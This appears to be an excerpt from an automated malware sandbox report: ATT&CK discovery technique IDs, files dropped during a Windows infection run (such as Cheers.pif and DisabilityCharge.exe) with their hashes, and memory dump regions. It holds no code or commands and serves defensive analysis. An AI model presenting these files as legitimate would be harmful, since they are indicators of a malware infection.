System Information Discovery

T1082

Process Discovery

T1057

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
64KB

MD5
c938796367794a6ca9ec87e13ca7ed1c

SHA1
89b60a03f23ceb620c3cd0e9bdafb86a5ad277d0

SHA256
7b1ea4981260e936941c0fa11f2cee47f1e7911dc02d3fa62fe6eb972883a2a8

SHA512
69a63159f651aa26b08316b80cf325467e1fe7db133a93ec286c98d03dc9a52009a707e6d1e8a15a4657df13224b18c05767c1c11e9395f955a57c2042abb37e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\5160955\Cheers.pif
Filesize
872KB

MD5
6ee7ddebff0a2b78c7ac30f6e00d1d11

SHA1
f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2

SHA256
865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4

SHA512
57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\5160955\Cheers.pif
Filesize
103B

MD5
9fb8e634ff869eec8cb42ab7af0b6fb5

SHA1
d7553a9bb0e28264e33ae55fd9f472b4b64370ba

SHA256
610a3efda69516655dd03cfc7d26224b2efe35934521af69fd9e96421fe1f3df

SHA512
76edab533503200b549171988f355176ba80a3976dc1ed3c74578b1da858fefd50bdc9bdee0418d4fa4543f7630a7b78fce7da758217627f71b2bd15fc773422

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\5160955\M
Filesize
867KB

MD5
b18b385dc3c027bc4cd4362e23677edc

SHA1
65b09d44a81ca8528cf472f91e783a5199411f45

SHA256
c43b8b1a8b8ab1455009a1463c77166c87d21b5ded408a9b9d2eb91213e783de

SHA512
66889a43e26f37bd4ea756719c07e389c2292a2b971f7367c6779d63ba1de82f5509e62dbb5ab994b4d5e819614cb8a2051b21a7e7d5197e2067054314baa46e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Anatomy
Filesize
268KB

MD5
3d0fe94011bfc11f960f3692773becf6

SHA1
eda278f584c80b7a5ec1a48c16c1453fd79d30fe

SHA256
f1e2acd5399b8fd82a7d3be16aba6cf70dd4f5fea82211979b89e6293b736e85

SHA512
4f15232e5966d2c024e929de468a4ff427d5ec714b15c3a19c55ce6c03342f01a4dd9784672aa3a4ec738db9c926727fc0108d36d751f2669b27837470bce0d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Cap
Filesize
152KB

MD5
d7b3e4a1f20444dd37b4ef305b6f8199

SHA1
bfd1d1bdff7c9d7e1ab6b46399252e94bbab8258

SHA256
b64c28e45770c23ba7b4cc1b80efd0edafaa0ad8109d3c9e340b45ae40565929

SHA512
24e83d25a23170f0d5c5f9f2afac13e72c017c98e443014e82a7b1b5a3a7aa9aafdfd795517e0a2b93bae2f742809c6a9e0627669c73dc3a8a0b57e9b2b8663a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Church
Filesize
113KB

MD5
b020ac666f105e582800755e46b87e54

SHA1
33c9afc7390f7fefe0b11ee2f9e32f8107d5ec21

SHA256
1713e9701d98f06a20391a048b2f5cb213b0ccf23f45df39df3cdbd55b23935c

SHA512
0d6c163717bef8e894cdf95b619ac1d7728bc1b88a2485606b1f2270d5c683caab7c4d693f467ec89d83a7ae34ca4e1afad1df3a7d25e8a7fc750826a89a59b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Cingular
Filesize
262KB

MD5
5b18970d8c464ca95ef183c6eddf2c79

SHA1
30f9ef49ce58ded149dd60a32359052c7fda6b25

SHA256
53a87d85121c6e590a928d3fae1f72ab3c266c980cc6a89f39cd74a2127d6b1e

SHA512
2f636bb7527a194467ce15046d9bf1368fca37a9b160c22aeb022a1c15a0c6cbf978373fb6d59ac692c9e7de37310c9fcc9f26c1c1d54ecace41f94ccc5fedbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Customs
Filesize
239KB

MD5
4c4ea6968e54f5f5c4c254587fee63dc

SHA1
d21927f93dfb1626405cf09f3379d6bc7dd8a505

SHA256
3a6b764666b1675287f39a952e072fcd41332b4d0ce2b4e59a96aa5a27af8707

SHA512
8b3f479dd3accfffe0235f2a3e102c306c288788d533ae78f9b8d8bbd95f36a4a613f6c1c1f2443566e17971c6116274b8b901b83608a6189e4d4927e47e42b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Dominican
Filesize
137KB

MD5
3c699f1767c677adfed1c113de6d184f

SHA1
ca15988fb3c81b6b4e0d7c5914e0bb2e07b35d1b

SHA256
740648b4a35012828dc95ef4258677d80659d820461ccfc9f98216facf0fea9a

SHA512
9ba925d63f2f9c0dbb244d6cea56d4bfd0b39de973e9c68c743ef6a1014c2a72b93072606af17bc770a837320c3cf8dc5f51976389cd599922c7b668d263c2af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Observed
Filesize
25KB

MD5
ad5b9509809e2c43efd8e4e0cbb697aa

SHA1
440d24a228fd1a0b125d535e55b887713b237f37

SHA256
eb882bf341c37bcd1c625e156f33db1b338d0e435aa074fa379cc3e73d6d9dad

SHA512
553bf92ac85b4b5ce9605fd0630e9f0396f282ece3f2cd4c0741cfd2b29acdb2246c7df749b0ae6d0d7cd3327f0fd34588ab205659f7cdd91a43e92b34dcd695

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ons
Filesize
140B

MD5
61bab20dd66e4690943a6165fd4ff9ca

SHA1
01237b42f749d18c2529aa6233349ecc5de29db2

SHA256
4dab1074edd81fc8d7b5c1e989b025f96ff09ae42e58934668bcc2f696a167c9

SHA512
9419cde00c25107d5ea4dd683b43d437fb508b951f5d7fbe919169724218b8bb13f2e91b3068f7a31433c3b899e9ae26e18cf94f9a9468ac5624efaa8c8f2ed2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Placing
Filesize
247KB

MD5
b68df1f6cc55a943bd8bd6a1ba4baeb2

SHA1
ed2f9c007bef6a9e8d52aba49704b56c9babea6d

SHA256
fdd8a7a40fdee48bd3a93b70e27c8efbb1aa860e2f7f587e1eecacbee3d6dd68

SHA512
0f622f1d33bcbe46483fa9f578eaa845e49c3617d6f0c76f46d2a32bf33e350a74bb44b4b0c43ddb25fa9f808de763d49f2af37072748b3f98010a8eb6ded273

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Software
Filesize
101KB

MD5
722238ba226d0e01df25a8d6e95d609f

SHA1
2f5e912ff0660bdc3f85ccf6d61bcb10fab8edef

SHA256
00559112065d90d8ba296b46949907ea4141c19323e999670a918bd50c5ae162

SHA512
3200e2063b157198c62a69fce4435d1c139c6e7b7f00e0a8e0d05fb0bf54fc886adeea0a2a4e4e8ec055ae0c94eabb1867e6d019920aade7ccef33e91e3be042

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Typing
Filesize
220KB

MD5
f0c0d7aff4f13ac8f3c247cb9fca2943

SHA1
94b642aa412319f2bfd814fefefa1b66c9fd7cc7

SHA256
2e933f3194ac2649b3f2c3f0289174b787ef71314143d63980b4d0c3ca698582

SHA512
36f1296f06acccfb3d621aaaf60ea24b354633568b0a946b2f2239e0e61f62dac2f6c418f1b9d2512572b308f176eeb657d479e1448bc330c63b9b01ae585b39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3brdfdh.jl2.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DisabilityCharge.exe
Filesize
934KB

MD5
7def16e0ceea0ad69d53e0e636541dd9

SHA1
92080bb5ad272cf69f69aa0588856cda4b4b1c28

SHA256
35ed65d9919843300db648bf93ae57d7330095eb1ce18d6c6050db88a2e4f297

SHA512
9616fb69ed3fd6d59ae060a671c5af86f0d7e1a4e6f8436a9c7244928a2bb1f0a76ec4f1968f77180141493c16a4e1090faf8786ead929c3bd3812f2e09e596a

Download Submit
C:\Users\Admin\AppData\Roaming\SA160.pdf
Filesize
290KB

MD5
267489e084b08204ba4f32a865f2afec

SHA1
7c77753e748b3fc0a1e26687032bbbf575021d91

SHA256
449e7d4fef2f0a11f5ccc0698a36d05fbac682791ca6b3ffaafa4605533e6553

SHA512
9e0a516257a6491093d05b01bc7d654cacd1fff7be0024d7260e49b7a2edd6afe8a36d3f95815111e294916f0212c5236f1560e67355750da5c80fc7bfc1c6b6

Download Submit
memory/316-207-0x000000000B5D0000-0x000000000B87B000-memory.dmp

Filesize
2.7MB

Download
memory/652-43-0x00007FF888D60000-0x00007FF889821000-memory.dmp

Filesize
10.8MB

Download
memory/652-22-0x000002A393290000-0x000002A3932A0000-memory.dmp

Filesize
64KB

Download
memory/652-21-0x000002A393290000-0x000002A3932A0000-memory.dmp

Filesize
64KB

Download
memory/652-20-0x00007FF888D60000-0x00007FF889821000-memory.dmp

Filesize
10.8MB

Download
memory/836-247-0x0000000000EF0000-0x0000000000EF9000-memory.dmp

Filesize
36KB

Download
memory/836-258-0x0000000002A30000-0x0000000002E30000-memory.dmp

Filesize
4.0MB

Download
memory/836-257-0x0000000075C20000-0x0000000075E35000-memory.dmp

Filesize
2.1MB

Download
memory/836-255-0x0000000002A30000-0x0000000002E30000-memory.dmp

Filesize
4.0MB

Download
memory/836-254-0x00007FF8A8610000-0x00007FF8A8805000-memory.dmp

Filesize
2.0MB

Download
memory/836-252-0x0000000002A30000-0x0000000002E30000-memory.dmp

Filesize
4.0MB

Download
memory/836-251-0x0000000002A30000-0x0000000002E30000-memory.dmp

Filesize
4.0MB

Download
memory/2672-246-0x0000000075C20000-0x0000000075E35000-memory.dmp

Filesize
2.1MB

Download
memory/2672-244-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-228-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-229-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-231-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-232-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-233-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-234-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-235-0x0000000006720000-0x0000000006B20000-memory.dmp

Filesize
4.0MB

Download
memory/2672-238-0x0000000006720000-0x0000000006B20000-memory.dmp

Filesize
4.0MB

Download
memory/2672-243-0x00007FF8A8610000-0x00007FF8A8805000-memory.dmp

Filesize
2.0MB

Download
memory/2672-227-0x0000000000750000-0x00000000007BD000-memory.dmp

Filesize
436KB

Download
memory/2672-124-0x0000000076F11000-0x0000000077031000-memory.dmp

Filesize
1.1MB

Download
memory/2672-249-0x0000000006720000-0x0000000006B20000-memory.dmp

Filesize
4.0MB

Download
memory/2672-248-0x0000000006720000-0x0000000006B20000-memory.dmp

Filesize
4.0MB

Download
memory/2672-226-0x00000000047D0000-0x00000000047D1000-memory.dmp

Filesize
4KB

Download
memory/4440-10-0x00007FF889C20000-0x00007FF88A6E1000-memory.dmp

Filesize
10.8MB

Download
memory/4440-0-0x00000241BF370000-0x00000241BF392000-memory.dmp

Filesize
136KB

Download
memory/4440-11-0x00000241BF3D0000-0x00000241BF3E0000-memory.dmp

Filesize
64KB

Download
memory/4440-12-0x00000241BF3D0000-0x00000241BF3E0000-memory.dmp

Filesize
64KB

Download
memory/4440-13-0x00000241BF3D0000-0x00000241BF3E0000-memory.dmp

Filesize
64KB

Download
memory/4440-16-0x00007FF889C20000-0x00007FF88A6E1000-memory.dmp

Filesize
10.8MB

Download